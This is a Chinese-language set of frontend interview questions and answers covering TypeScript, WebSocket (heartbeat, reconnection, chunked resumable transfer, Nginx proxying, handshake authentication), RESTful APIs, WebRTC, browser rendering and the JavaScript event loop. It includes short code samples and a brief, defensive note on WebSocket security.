Appearance
高频问题汇集
原生HTML/CSS/JS/TS、框架Vue2/3/React等、构建工具、浏览器、性能优化、工程化、安全攻防、CI/CD、项目经验/场景、团队建设、AI、架构等
TS 相关
一、基础概念
1. TypeScript 是什么?和 JS 有什么区别?
TS 是 JS 的超集,扩展了类型系统、接口、泛型等
最终编译为 JS 运行
区别:
JS 是动态类型,TS 是静态类型
TS 编译时检查类型错误,JS 只有运行时才报错
TS 支持接口、泛型、枚举、命名空间等
2. TypeScript 的数据类型有哪些?
基础类型:string、number、boolean、null、undefined、symbol、bigint
引用类型:object、array、function
TS 特有:any、unknown、void、never、enum、tuple
3. any 和 unknown 的区别?
any:放弃类型检查,可以任意赋值、调用方法
unknown:安全的未知类型,必须先做类型判断才能使用
原则:尽量用 unknown,少用 any
4. void 和 never 的区别?
void:函数没有返回值
never:函数永远不会执行完(抛异常、死循环),表示不可能到达的类型二、接口 & 类型别名
5. interface 和 type 的区别?
共同点:都可以描述对象 / 函数类型
不同点:
type 范围更广:可以定义联合、交叉、基础类型、元组
interface 可以重复声明自动合并,type 不行
interface 支持 extends 继承,type 用 & 交叉
面向对象场景优先 interface,工具类型用 type
6. 什么是可选属性、只读属性?
interface User {
name: string
age?: number // 可选
readonly id: number // 只读
}三、高级类型(高频)
7. 什么是联合类型、交叉类型?
联合 A | B:满足其一
交叉 A & B:同时满足所有
8. 什么是泛型?为什么要用?
定义时不指定类型,使用时再传入类型
作用:复用逻辑 + 保留类型安全
function identity<T>(arg: T): T { return arg }
9. 类型断言 as 是什么?
告诉编译器 “我比你更懂类型”,强制指定类型:
const el = document.getElementById('app') as HTMLDivElement
10. 什么是类型守卫?
用于缩小类型范围的判断:
typeof
instanceof
in 关键字
自定义类型守卫 (param: unknown): param is Type四、面向对象 & 高级特性
11. public / private / protected 区别?
public:默认,随处可访问
private:仅当前类内部
protected:类内部 + 子类可访问
12. 什么是抽象类 abstract?
不能被实例化,只能被继承,约束子类必须实现某些方法。
13. 什么是声明文件 .d.ts?
给 JS 库提供类型定义,让 TS 认识第三方库的类型。五、实际工程题(高频)
14. 如何定义数组类型?
let arr: number[] = [1,2]
let arr2: Array<number> = [1,2]
15. 什么是元组 tuple?
固定长度、固定类型的数组:
let user: [string, number] = ['zs', 18]
16. 什么是枚举 enum?
enum Status {
Success = 200,
Error = 500
}
17. 什么是索引签名?
对象 key 不确定时用:
interface Obj {
[key: string]: number
}六、手写题(必考)
18. 实现 Partial
type Partial<T> = { [P in keyof T]?: T[P] }
19. 实现 Required
type Required<T> = { [P in keyof T]-?: T[P] }
20. 实现 Pick
type Pick<T, K extends keyof T> = { [P in K]: T[P] }
21. 实现 Exclude / Extract
type Exclude<T, U> = T extends U ? never : T
type Extract<T, U> = T extends U ? T : never应用场景
1. 大数据表格渲染性能优化
2. 大文件(分片、断点续传、进度条)上传
3. SSE(服务器推送)
4. websocket
一、基础概念题
1. 什么是 WebSocket?和 HTTP 区别?
WebSocket:是全双工、持久化的网络通信协议,建立一次 TCP 连接后,客户端与服务端可双向实时持续通信,无需每次请求建立 / 断开连接。
和 HTTP 核心区别:
通信模式
- HTTP:单向,客户端主动请求、服务端响应,一问一答
- WebSocket:全双工,双方可随时主动发消息
连接特性
- HTTP:短连接,请求完成立即断开
- WebSocket:长连接,握手后通道持续保持
头部开销
- HTTP:每次请求携带大量 header,开销大
- WebSocket:连接建立后数据帧极简,开销极低
端口 & 协议
- HTTP:80,HTTPS:443
- WebSocket:ws://(80) / wss://(443)
2. 为什么websock 使用http建立首次连接?
一、核心原因
1. 兼容现有基础设施
浏览器、服务器、Nginx、防火墙、代理网关全都原生支持 HTTP。如果直接自定义一套全新 TCP 协议,会被防火墙拦截、端口封禁、代理转发失败,无法正常使用。
2. 利用 HTTP 完成一次安全握手与协商
首次 HTTP 请求携带:
- 协议升级头
Upgrade: websocket - 安全密钥
Sec-WebSocket-Key - 版本校验
服务端返回 101 Switching Protocols,协商确认后,再把 TCP 管道从 HTTP 切换为 WebSocket 协议。
3. 解决跨域与权限校验
握手阶段就是普通 HTTP 请求,可以正常做:
- Origin 跨域校验
- Cookie、Token、登录鉴权
- 黑白名单拦截
4. 共用端口
ws 80、wss 443,和 HTTP/HTTPS 共用同一个端口,不用额外开端口,部署简单、运维友好。
二、完整流程一句话
WebSocket 没有单独的握手端口与协议,借用 HTTP 协议做兼容穿透、协议协商、安全校验,握手成功后,同一条 TCP 连接脱离 HTTP,转为双向长连接的 WebSocket 通信。
三、面试官追问:握手后还走 HTTP 吗?
不走。
- 握手瞬间:HTTP 协议
- 连接建立后:纯 WebSocket 二进制 / 文本帧,完全脱离 HTTP,没有 Header、没有请求体,开销极低。
四、极简背诵版
WebSocket 采用 HTTP 做首次握手,一是为了兼容防火墙、代理、Nginx 等现有网络设施,避免自定义协议被拦截;二是借助 HTTP 完成协议升级协商、安全校验和跨域鉴权;同时可以和 HTTP 共用端口,部署更方便。握手完成后,TCP 连接会升级为 WebSocket 独立协议,不再使用 HTTP 通信。
3. 为什么需要 WebSocket?传统实时方案有哪些缺点?
传统实时方案:
- 轮询(短轮询):客户端定时发 HTTP 请求,缺点:延迟高、请求冗余、服务器压力大
- 长轮询(Comet):客户端请求挂起,服务端有数据再响应,响应后立即再次请求;缺点:HTTP 头部冗余、连接频繁重建
- SSE:服务端单向推送,只能服务端→客户端,无法双向
WebSocket 优势:真正双向实时、长连接、低开销、低延迟,适合聊天、直播、协同编辑、行情、游戏等场景。
4. WebSocket 握手过程(重点)
- 客户端发起 HTTP 升级请求,携带特殊请求头:
http
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key: 随机base64密钥
Sec-WebSocket-Version: 13- 服务端接收请求,校验头信息,用
Sec-WebSocket-Key+ 固定魔法字符串加密生成Sec-WebSocket-Accept - 服务端返回
101 Switching Protocols响应,完成协议升级 - 握手成功,HTTP 连接升级为 TCP 持久连接,后续通过 WebSocket 数据帧双向通信
关键:握手阶段走 HTTP,通信阶段走自定义 WebSocket 协议。
二、原生 API 实操题
4. 原生 WebSocket 常用 API / 事件
javascript
// 1. 实例化
const ws = new WebSocket('wss://xxx.com/ws')
// 2. 事件
ws.onopen = () => {} // 连接成功
ws.onmessage = e => {} // 接收服务端消息 e.data
ws.onclose = e => {} // 连接关闭
ws.onerror = err => {} // 连接错误
// 3. 方法
ws.send(data) // 发送数据(string/blob/ArrayBuffer)
ws.close() // 主动关闭连接5. WebSocket 传输数据格式
- 文本:字符串(常用 JSON 序列化传输对象)
- 二进制:Blob、ArrayBuffer
- 常规业务:JSON.stringify 发,JSON.parse 解析
三、进阶原理 & 问题处理
6. WebSocket 连接断开的常见原因
- 网络波动、断网、切换网络
- 服务器重启、进程崩溃、主动关闭
- 心跳超时:长时间无数据交互,服务端 / 防火墙断开空闲连接
- 跨域拦截、协议不匹配、证书错误(wss)
- 浏览器标签页休眠、页面卸载
7. 什么是心跳机制?为什么要做?
目的:
- 检测连接是否正常
- 防止防火墙 / 代理自动断开闲置长连接
实现逻辑:
- 客户端定时(30s/60s)发送心跳包(ping)
- 服务端收到后返回心跳响应(pong)
- 超时未收到响应 → 判断连接断开,执行重连
8. WebSocket 断线重连方案
- 监听
onclose/onerror事件 - 加节流 / 防抖,防止短时间疯狂重连
- 指数退避重连(1s→2s→4s… 上限)
- 重连成功后恢复之前业务状态、补发离线消息
9. WebSocket 跨域问题
- WebSocket 不受浏览器普通跨域限制
- 跨域限制主要在握手阶段:服务端需要配置允许的 Origin
- 生产环境推荐使用 wss://(加密),避免被中间人劫持、兼容浏览器安全策略
10. SSE 和 WebSocket 区别
| 特性 | SSE | WebSocket |
|---|---|---|
| 方向 | 单向(服务端→客户端) | 全双工双向 |
| 协议 | 基于 HTTP | 独立协议(握手 HTTP) |
| 开销 | 中等 | 极低 |
| 适用场景 | 通知、日志、简单推送 | 聊天、游戏、实时协同 |
| 断开重连 | 浏览器自动重连 | 需手动实现 |
四、框架 & 工程实践
11. 项目中常用的 WebSocket 库?
- Socket.IO:最常用,封装了 WebSocket、长轮询降级、自动重连、心跳、房间机制,兼容性极强
- ws:Node.js 轻量 WebSocket 库,服务端常用
- @stomp/stompjs:适配 STOMP 协议,后端 Java 微服务常用
12. Socket.IO 和原生 WebSocket 区别
- Socket.IO 是封装库,不是原生 WebSocket
- 自带降级方案:不支持 WebSocket 的浏览器自动降级长轮询
- 内置心跳、重连、断线缓存、命名空间、房间
- 自定义数据包格式,不能和原生 WebSocket 直接互通
五、手写代码面试题
1. 手写简易 WebSocket + 心跳 + 重连
javascript
class WS {
constructor(url) {
this.url = url
this.ws = null
this.heartTime = 30000 // 30s心跳
this.heartTimer = null
this.reconnectTimer = null
this.init()
}
init() {
this.ws = new WebSocket(this.url)
// 连接成功
this.ws.onopen = () => {
this.startHeart()
console.log('ws连接成功')
}
// 接收消息
this.ws.onmessage = e => {
// 监听心跳响应
if (e.data === 'pong') return
this.onMessage(e.data)
}
// 关闭
this.ws.onclose = () => {
this.clearHeart()
this.reconnect()
}
// 错误
this.ws.onerror = () => {
this.clearHeart()
this.reconnect()
}
}
// 心跳
startHeart() {
this.heartTimer = setInterval(() => {
this.ws.readyState === 1 && this.ws.send('ping')
}, this.heartTime)
}
clearHeart() {
clearInterval(this.heartTimer)
}
// 重连
reconnect() {
if (this.reconnectTimer) return
this.reconnectTimer = setTimeout(() => {
this.init()
this.reconnectTimer = null
}, 2000)
}
// 发送消息
send(data) {
if (this.ws.readyState !== 1) return
this.ws.send(JSON.stringify(data))
}
// 外部接收回调
onMessage(msg) {}
}六、加分拓展题
WebSocket 状态码 readyState
0:CONNECTING 正在连接1:OPEN 连接正常2:CLOSING 正在关闭3:CLOSED 已关闭
生产环境优化
- 使用 wss 加密传输
- 配合 Nginx 反向代理 + 负载均衡
- 增加消息防抖、消息队列、离线消息缓存
- 限制单用户连接数,防止恶意连接攻击
WebSocket 场景面试题(高频实战 + 标准答案)
websock向服务端传输大数据采用分片传送,突然连接中断怎么办?
一、核心问题
WebSocket 分片传输大文件 / 大数据时中途断连,会出现:
已传分片丢失
接收端无法拼接
重新传整个文件太浪费
面试官要的不是 “重传”,而是:断点续传 + 状态管理 + 可靠性机制。
二、标准解决方案(面试满分回答)
1. 给每个分片加唯一标识(必须)
每个分片携带:
fileId:文件唯一 ID
total:总分片数
index:当前分片序号
data:分片数据
作用:服务端能知道缺了哪一块。
2. 服务端缓存已接收分片
断连后,已上传的分片不丢弃,存在:
内存
临时文件
Redis
等重连后继续传未传完的分片。
3. 客户端重连后,先询问服务端 “传了多少”
重连成功后,客户端发送:
plaintext
{ type: 'check', fileId: 'xxx' }
服务端返回:
plaintext
{ received: [0,1,2,5], nextIndex: 3 }
客户端从 3 号分片继续传,不用从头传。
4. 自动重连机制
WebSocket 断开后:
自动重连
重连成功恢复上传任务
采用指数退避避免疯狂重连
5. 每片传输 ACK 确认
客户端发一个分片 → 服务端回 ACK → 客户端才发下一片。
没收到 ACK = 分片丢失,自动重传当前片。
6. 最终完整性校验
全部传完后:
服务端拼接所有分片
校验 MD5 / 文件大小
确保完整不损坏
三、一句话总结(面试背这个)
WebSocket 大数据分片传输中断时,采用断点续传方案:服务端缓存已接收分片,客户端重连后询问服务端进度,从断点继续传输缺失分片,配合 ACK 确认与重传机制,保证传输可靠、不重复、不丢失。
四、面试官可能继续追问的点(我一并给你)
1. 为什么不能直接重传整个文件?
浪费流量、慢、体验差。
2. 重连后怎么知道从哪传?
靠 fileId + index 做断点定位。
3. 如何防止分片乱序?
按 index 顺序传 + 服务端按序号缓存。
4. 如何保证不丢包?
每片 ACK 确认 + 超时重传。场景一:聊天室 / IM 即时聊天
问题 1:多人聊天室,如何实现单聊、群聊、全员广播?
全员广播:
- 服务端收到某客户端消息后,遍历所有在线 WS 连接,逐个推送消息
群聊:
- 服务端维护「群组 - 连接列表」映射,发消息只推送给当前群内用户连接
一对一单聊:
- 维护「用户 ID-WS 实例」映射,根据接收方 ID 精准定向推送,不广播无关用户
附加约束:
- 消息携带:fromId、toId、type(单聊/群聊)、content、time
- 异常:对方离线时,服务端缓存离线消息,上线后补发
问题 2:聊天消息乱序、重复推送怎么解决?
消息有序:
- 每条消息添加全局自增 seq 序号 / 时间戳,前端按序号排序渲染
去重:
- 服务端生成唯一 msgId,前端本地缓存已渲染 ID,重复直接丢弃
可靠投递:
- 采用 ACK 确认机制:前端收到消息后回传 ack,服务端未收到则定时重发
场景二:连接稳定性(高频必问)
问题 3:页面切后台、锁屏、网络切换,WS 自动断连怎么办?
原因:
- 浏览器后台节流、网卡切换、网关 / 防火墙断开空闲长连接
解决方案:
- 心跳保活:客户端 30s/60s 发 ping,服务端回复 pong
- 监听网络事件:online/offline、页面可见性 visibilitychange
- 主动检测:切前台立刻检测 readyState,断开则自动重连
- 指数退避重连:避免短时间高频重连打垮服务端
问题 4:WS 连接莫名断开,排查思路?
- 看断开码 + 原因:onclose 拿到 code / reason
- 检查是否心跳超时(最常见)
- 排查 Nginx / 防火墙长连接超时配置
- 检查消息体积过大、二进制帧格式错误导致服务端强制断开
- 跨域 Origin 拦截、wss 证书失效、服务端进程重启
场景三:生产环境部署 & 兼容
问题 5:项目部署到服务器,Nginx 反向代理 WebSocket 要怎么配置?
核心:开启协议升级、长连接保持
nginx
location /ws {
proxy_pass http://backend;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
# 长连接超时
proxy_connect_timeout 60s;
proxy_send_timeout 300s;
proxy_read_timeout 300s;
}补充:线上必须用 wss,防止劫持、浏览器安全策略拦截。
问题 6:部分老旧浏览器 / 低版本环境不支持 WebSocket 怎么办?
- 不降级:业务强实时,直接提示浏览器版本过低
- 兼容降级(Socket.IO 原生支持):
- 优先使用 WS,不支持自动降级为长轮询兜底
- 自研降级:判断
window.WebSocket,不存在则用长轮询替代
场景四:大数据 / 高频推送
问题 7:行情、股票、直播弹幕 高频海量推送,前端卡顿、页面卡死如何优化?
节流合并:
- 高频数据(毫秒级),前端定时合并渲染,如 100ms 批量更新一次
数据精简:
- 服务端只推送变化字段,不返回全量数据,减少传输体积
渲染优化:
- 虚拟列表渲染弹幕 / 行情列表
- 避免频繁 DOM 操作,使用文档碎片、缓存 DOM
异步处理:
- 消息解析、格式化丢入 WebWorker,防止阻塞主线程
限流:
- 服务端控制推送频率,非核心数据降低刷新频次
问题 8:WS 一次性推送超大文本 / 二进制文件,如何处理?
分片传输:
- 大文件拆分为固定大小分片,携带:分片 index、总分片数、文件唯一 id
- 前端接收完所有分片后,合并组装完整文件
- 失败分片单独重传,无需整体重发
场景五:权限 & 安全
问题 9:WebSocket 如何做登录鉴权、防止非法连接?
1. 握手阶段鉴权(推荐):
- WS 连接地址携带 token:
javascript
new WebSocket(`wss://xxx/ws?token=xxxx`)- 服务端在 HTTP 101 升级前校验 token,非法直接拒绝握手
2. 连接后首次消息鉴权:
- 连接成功后,客户端第一条消息上报用户凭证,校验通过才允许业务推送
3. 禁止:连接裸奔、无鉴权直接通信
问题 10:WebSocket 容易被攻击吗?有哪些安全风险?
风险:
- WS 劫持、中间人抓包(ws 明文)
- 恶意连接刷爆服务端连接数
- 恶意超大数据包攻击
防护:
- 全线替换 wss 加密
- 握手鉴权、限制单 IP 最大连接数
- 服务端限制单条消息最大体积、过滤非法字符
- 校验消息格式,防止恶意注入
场景六:架构类面试题
问题 11:多服务器部署(集群),WS 如何实现消息互通?
问题:用户 A 连服务器 1,用户 B 连服务器 2,无法直接通信。
解决方案:
- 中间件转发:Redis 发布订阅 / MQ(RabbitMQ/RocketMQ)
- 任一服务端收到消息,推送到消息队列
- 所有集群服务消费队列消息,判断本地是否有目标用户,有则推送
问题 12:SSE 和 WebSocket 业务选型,你怎么选?
- 只用服务端向客户端推送:系统通知、日志、监控告警 → 选 SSE(轻量、无需手动重连)
- 双向通信:聊天、协同编辑、游戏、实时互动 → 选 WebSocket
- 低版本浏览器兼容、需要降级 → 选 Socket.IO
场景七:代码实操场景题
问题 13:WS 未连接成功时,调用 send 发送消息会怎样?如何规避?
问题:
- 直接报错、消息丢失
规避方案:
- 发送前判断
ws.readyState === 1 - 增加消息队列:未连接时暂存消息,连接成功后批量发送
问题 14:关闭页面 / 路由跳转,为什么要手动关闭 WS?
- 不手动关闭:后台残留长连接,占用服务端连接资源
- 优化:在
beforeunload/ 组件销毁生命周期onUnmounted中执行ws.close()
5. web worker
6. service worker
7. threejs、webGL、canvas、cesium 等 3D 渲染技术
8. 服务端渲染(SSR)
9. 多端适配
10. 实时通信
11. 什么是restfull API、优缺点,前后端如何使用?
一、什么是 RESTful API(面试极简版)
RESTful 是一套接口设计规范,基于 HTTP 协议,以资源为核心,用请求方法表示操作,URL 表示资源路径,无状态、统一风格。
核心原则:
- 一切皆资源(用户、订单、商品)
- 用 HTTP 原生方法代表增删改查
- URL 用名词,不用动词
- 无状态:服务端不存客户端信息,每次请求独立
- 返回统一格式(JSON)+ 标准 HTTP 状态码
二、HTTP 方法对应 CRUD(必背)
| 请求方式 | 作用 |
|---|---|
| GET | 查询资源(查) |
| POST | 新建资源(增) |
| PUT | 全量更新资源(改) |
| PATCH | 局部更新资源(改) |
| DELETE | 删除资源(删) |
规范对比
❌ 不规范(传统风格)
plaintext
/getUser
/addUser
/updateUser
/deleteUser✅ RESTful 规范
plaintext
GET /users // 获取用户列表
GET /users/100 // 获取单个用户
POST /users // 新增用户
PUT /users/100 // 全量修改
PATCH /users/100 // 局部修改
DELETE /users/100 // 删除用户三、RESTful API 优点
结构清晰,语义明确
- URL 见名知意,方法对应操作,可读性强
无状态,易扩展、易集群部署
- 服务端不保存会话,适合分布式、负载均衡
前后端分离友好
- 接口统一、规范,前端后端并行开发
适配性强
- 基于标准 HTTP,浏览器、App、小程序都能调用
缓存友好
- GET 请求天然支持浏览器 / 代理缓存,提升性能
标准状态码
- 用 200、201、400、401、403、404、500 统一错误标识
四、RESTful API 缺点
颗粒度固定,灵活性差
- 每次只能操作单个 / 一类资源,复杂多表联查场景冗余请求
过度依赖 HTTP 语义
- 部分场景语义模糊(如批量删除、复杂筛选不好表达)
请求次数多
- 复杂页面需要多次并发请求,造成请求瀑布流
数据冗余
- 固定返回字段,前端只需少量字段也得接收全量数据
无天然鉴权、无长连接
- 实时场景(聊天、推送)不适合,需要搭配 WebSocket
五、前后端如何使用 RESTful
1. 后端怎么做
路由设计:名词复数、层级关系
plaintext
/users
/users/100/orders请求方法严格对应增删改查
统一返回格式
json
{
"code": 200,
"data": {},
"msg": "请求成功"
}合理使用状态码
- 201:创建成功
- 400:参数错误
- 401:未登录
- 403:无权限
- 404:资源不存在
- 500:服务异常
统一鉴权:Token 放在 Header
plaintext
Authorization: Bearer xxx2. 前端怎么使用
使用 axios/fetch 按规范发起请求
- 查询用 GET,参数放路径参数 /query
- 新增用 POST,参数放 body
- 修改用 PUT/PATCH,删除用 DELETE
统一封装请求拦截器
- 携带 token、统一错误处理
响应拦截器
- 统一解析返回体、处理登录过期
前端示例
js
// 获取列表
axios.get('/users')
// 新增
axios.post('/users', { name: '张三' })
// 删除
axios.delete('/users/100')
// 局部更新
axios.patch('/users/100', { age: 20 })六、面试一句话背诵
RESTful API 是基于 HTTP 的资源化接口设计规范,通过 GET/POST/PUT/DELETE 表达增删改查,URL 使用名词、无状态通信;优点是规范清晰、利于前后端分离和分布式扩展,缺点是复杂场景请求冗余、灵活性弱;后端按资源设计路由、使用标准状态码,前端通过 Axios 配合请求方法 + Token 鉴权统一调用。
12. webRTC是什么、音视频流处理有哪些方面怎么优化?
一、WebRTC 是什么(面试极简答案)
WebRTC 是浏览器内置的实时音视频通信开源技术,无需安装插件,可在浏览器 / 移动端之间实现:
- 点对点 P2P 音视频通话
- 屏幕共享
- 实时数据流传输
核心特点: 免费、原生支持、低延迟、P2P 直连、开源
核心三大 API:
- MediaStream:获取摄像头、麦克风、屏幕媒体流
- RTCPeerConnection:建立 P2P 连接、传输音视频
- RTCDataChannel:点对点传输任意二进制 / 文本数据
区别 WebSocket:
- WebSocket:服务端中转,服务端转发
- WebRTC:优先 P2P 直连,无中间转发,延迟更低、带宽消耗小
二、WebRTC 整体通信流程(简要)
- 前端采集本地音视频流(摄像头 / 麦)
- 两端通过信令服务器交换 SDP 会话描述、ICE 网络候选
- 经过 NAT 穿透(STUN/TURN),建立 P2P 直连
- 两端直接传输加密音视频流
- 断开连接,释放媒体资源
三、音视频流 核心处理 & 优化方向(面试高频)
1. 采集层优化
- 限制分辨率、帧率:如 720P/30fps,避免采集码率过高
- 降噪、回声消除、自动增益(WebRTC 内置:audioProcessing)
- 禁用闲置设备:关闭不用摄像头 / 麦克风,减少性能消耗
- 动态适配设备性能,低端机自动降低画质
2. 编码压缩优化
使用高效编码格式:
- 视频:H.264、VP8、VP9、AV1(压缩率更高)
- 音频:OPUS(高压缩、低延迟、弱网友好)
其他优化:
- 动态码率调节:根据网络带宽自适应码率
- 关键帧(I 帧)间隔合理配置,减少关键帧冗余
3. 网络传输优化(重点)
NAT 穿透
- 部署 STUN:解决内网设备 P2P 打洞
- 部署 TURN:P2P 打不通时,服务器中继兜底,保证通话可用
弱网抗丢包
- FEC 前向纠错:额外冗余数据包,修复少量丢包
- ARQ 自动重传:关键丢包请求补发
- 网络抖动缓冲:设置合理 jitterBuffer,抗网络波动
带宽控制
- 拥塞控制算法(GCC),动态下调画质 / 码率保流畅
- 限制上行最大码率,避免上行带宽占满卡顿
4. 前后端解码 & 渲染优化
- 硬件编解码:开启 GPU 硬解,降低 CPU 占用
- 视频渲染降频:后台 / 切页时降低渲染帧率、暂停非关键流
- 丢弃冗余帧:网络拥堵时优先丢非关键帧,保音频流畅
5. 延时 & 卡顿优化
- 减小缓冲区大小,降低播放延迟
- 音视频同步校准,避免声画不同步
- 断网自动重连、ICE 候选自动重试
6. 安全优化
- 全程 SRTP 加密传输音视频流
- 信令交互采用 HTTPS/WSS,防止劫持、窃听
四、面试精简背诵版(直接口述)
WebRTC
是浏览器原生实时通信技术,支持无插件 P2P 音视频通话、屏幕共享,依靠 MediaStream 采集媒体、RTCPeerConnection 建立点对点连接、搭配 STUN/TURN 实现内网穿透,相比服务端中转方案延迟更低。
音视频优化
从采集、编码、网络、渲染四方面优化:
- 采集:限制分辨率帧率、开启音频降噪回声消除
- 编码:采用 OPUS、VP9 等高效编码,动态自适应码率
- 网络:通过 STUN/TURN 完成内网穿透,开启 FEC/ARQ 抗丢包、拥塞控制
- 渲染:开启硬编硬解降低 CPU,合理配置抖动缓冲区,弱网自动降画质保流畅
浏览器专题
1. 浏览器渲染原理
2. 浏览器时间分片
3. 什么是重排、重绘?
重排:改布局 → 成本高 → 一定触发重绘
重绘:改外观 → 成本低 → 不一定触发重排
优化核心:减少 DOM 读写、用 transform/opacity、批量操作、开启 GPU 加速一、什么是重排(Reflow)?
重排 = 重新布局(重排必定重绘)
当 DOM 的几何尺寸、位置、结构发生变化时,浏览器需要重新计算元素的几何属性,重新排列布局。
触发条件(只要影响布局就会重排):
添加 / 删除 DOM 元素
改变元素宽高、边距、定位
改变字体大小、文字内容
浏览器窗口 resize
display: none (元素消失 + 不占位置)
获取 offsetWidth、clientTop、getBoundingClientRect 等布局属性
特点:
成本极高
会导致整个渲染树重新计算
重排一定会触发重绘二、什么是重绘(Repaint)?
重绘 = 重新绘制外观
元素外观发生变化,但不影响布局,浏览器只重新绘制像素。
触发条件:
改变 color、background-color
改变 opacity、visibility(元素看不见,但还占位置)
改变 box-shadow、outline
特点:
比重排开销小很多
不一定触发重排三、哪些日常场景会触发重排 / 重绘?
高频触发重排的场景
操作 DOM:appendChild、remove
修改样式:width、height、top、left、margin、padding
读取布局属性:offsetWidth、scrollTop、getComputedStyle
表单输入、文字变化
窗口大小改变 resize
图片加载完成(未设置宽高)
高频触发重绘的场景
切换主题色
hover 变色
改变阴影、透明度
切换背景图四、怎么减少(优化)重排重绘?
1. 批量修改 DOM(最重要)
先把元素 display: none,改完再显示
使用 DocumentFragment
先克隆节点,改完再替换回去
js
const fragment = document.createDocumentFragment()
fragment.appendChild(div1)
fragment.appendChild(div2)
container.appendChild(fragment)
2. 避免频繁读取布局属性
不要在循环里读 offsetWidth、clientHeight 这类属性,会强制浏览器刷新队列,触发多次重排。
3. 使用 transform 和 opacity 做动画
这两个属性只触发合成层,不触发重排、不触发重绘,性能最好。
尽量避免:
left / top
width / height
优先用:
transform: translate(…)
transform: scale(…)
4. 开启 GPU 加速(will-change)
css
will-change: transform;
让元素单独一层,不影响主渲染层。
5. 减少不必要的样式切换
使用 class 一次性修改,而不是逐条改 style。
6. 固定宽高
图片、容器设置固定宽高,防止加载后重排。
7. 避免 table 布局
table 很小的变化都会导致整个表格重排。4. js 线程和浏览器的关系
一、核心基础
JavaScript 是单线程语言
JS 主线程同一时间只能做一件事,负责:执行 JS 代码、操作 DOM、渲染页面、处理事件。
浏览器是多线程软件
浏览器内部包含多个独立线程,分工协作,配合单线程 JS 运行。
二、浏览器五大核心线程
| 线程 | 职责 |
|---|---|
| JS 主线程 | 执行 JS 代码、操作 DOM、执行事件回调、定时器回调 |
| GUI 渲染线程 | 负责页面渲染、重绘、回流;与 JS 主线程互斥 |
| 定时器线程 | 管理 setTimeout/setInterval,计时完成后将回调放入宏任务队列 |
| 异步 HTTP 请求线程 | 处理 Ajax、网络请求,请求完成后把回调推入宏任务队列 |
| 事件监听线程 | 监听鼠标、点击、滚动、键盘等事件,事件触发后回调进入任务队列 |
关键点:JS 线程工作时,渲染线程会被阻塞,所以大量同步 JS 会造成页面卡顿、白屏。
三、运行协作关系(重点)
JS 单线程 + 浏览器多线程 互补
- 耗时操作(网络、定时器、事件)交给浏览器其他子线程
- 子线程完成后,回调函数排队,等 JS 主线程空闲再执行
- 事件循环 Event Loop 是两者协作的核心
执行流程:
- JS 主线程执行同步代码
- 遇到异步任务,交给浏览器对应子线程处理
- 异步完成,回调进入宏任务/微任务队列
- 同步代码执行完毕 → 清空所有微任务
- 执行一轮宏任务,之后 GUI 线程渲染页面
- 不断循环,就是事件循环
四、关键互斥关系(高频考点)
JS 主线程 与 GUI 渲染线程 互斥、互锁
- JS 执行时,页面停止渲染
- 渲染页面时,JS 暂停执行
后果:
长循环、大量同步计算 → 阻塞渲染 → 页面卡死、卡顿
优化方案:
拆分长任务、时间分片、WebWorker
五、WebWorker 补充
JS 主线程不能多线程,但浏览器提供 WebWorker。
| 特性 | 说明 |
|---|---|
| 作用 | 开启独立子线程,用来做大量计算 |
| 限制 | 不能操作 DOM、不能访问 window,只能纯计算 |
| 优势 | 解放主线程,避免页面卡顿 |
5. js的宿主环境是浏览器吗?能看成是浏览器的一部分吗?
一、核心答案
JS 宿主环境不只是浏览器
JavaScript 是独立的脚本语言,本身只包含:ECMAScript 核心语法(变量、函数、原型、作用域、数组、正则等)。
它没有:DOM、BOM、请求、定时器、文件操作等能力。
宿主环境 = 给 JS 提供额外 API 的运行平台
常见两大宿主:
- 浏览器(前端)
- Node.js(服务端 / 本地)
二、能不能看成浏览器的一部分?
不能。
JS 独立存在
ECMAScript 是标准语言,脱离浏览器也能运行(Node.js、小程序、APP 内嵌 JS 引擎)。
二者是「宿主 + 语言」的关系
- JS:只负责语法、逻辑
- 浏览器(宿主):提供 DOM、BOM、window、document、定时器、AJAX、渲染线程等宿主 API,让 JS 能操作页面、交互、网络
通俗理解:JS 是「人」,浏览器是「房子」;人可以换房子(跑到 Node 环境),人不属于房子的一部分。
三、浏览器 & Node 宿主差异(面试常考)
| 环境 | 独有 API |
|---|---|
| 浏览器宿主 | DOM、BOM、window、document、location、history、canvas、DOM 事件 |
| Node.js 宿主 | 全局 global、fs 文件读写、path、http、process、Buffer |
| 两者共有 | ECMAScript 全量语法、setTimeout、Promise、console |
四、一句话背诵版
- JS 本身是独立的 ECMAScript 语言,并非浏览器的一部分
- 浏览器只是 JS 的宿主环境之一,为 JS 提供 DOM、BOM 等专属 API
- JS 还可在 Node.js 等其他宿主环境运行
6. 浏览器解析网页的过程
浏览器缓存机制
浏览器缓存分为两大类本地存储和HTTP缓存:
1. 本地存储:Cookie、localStorage、sessionStorage、IndexedDB
2. HTTP 缓存:
Memory Cache
Disk Cache
Disk Cache 内部又分两种:
强缓存
不用发请求,直接用
字段:Cache-Control / Expires
协商缓存
发请求问服务器:资源变没变
没变返回 304,用缓存
字段:ETag / Last-ModifiedService Worker Cache
Push Cache
3. cookie、session、token作用和区别以及使用场景
JS事件循环机制
1. 为什么js是单线程的?
2. 单线程有什么问题、如何解决?
3. 什么是宏任务、微任务
一、核心概念
| 类型 | 执行时机 | 优先级 |
|---|---|---|
| 同步代码 | 立即执行 | 最高 |
| 微任务 | 当前代码执行完立刻全部执行 | 高 |
| 宏任务 | 微任务清空后再执行 | 低 |
完整执行顺序:
- 执行同步代码
- 执行所有微任务(微任务全部清空)
- 执行一个宏任务
- 渲染页面
- 循环往复(事件循环)
二、宏任务(MacroTask)
浏览器环境
- 整体代码作为第一个特殊宏任务
- 定时器:
setTimeout、setInterval - DOM 事件:
click、scroll、resize、input等 - 网络请求:
Ajax/fetch回调 - 渲染:页面重绘、回流
- UI 交互、鼠标键盘事件
Node 独有
setImmediate- 文件 I/O、数据库操作
三、微任务(MicroTask)
浏览器 & Node 通用
Promise.then/catch/finallyasync/await后续代码MutationObserver(监听 DOM 变化)queueMicrotask()
Node 独有(优先级最高)
process.nextTick
4. 事件循环是怎么工作的?
5. 怎么开启多线程?
6. JS是单线程为什么能处理高并发?
第一层:JS 高并发的核心不是线程多,而是事件循环(EventLoop)+ 任务队列
JS 的单线程指的是主线程唯一,所有同步任务都在主线程上执行。它之所以能单线程扛住大量异步操作,关键就是浏览器提供的事件循环机制。
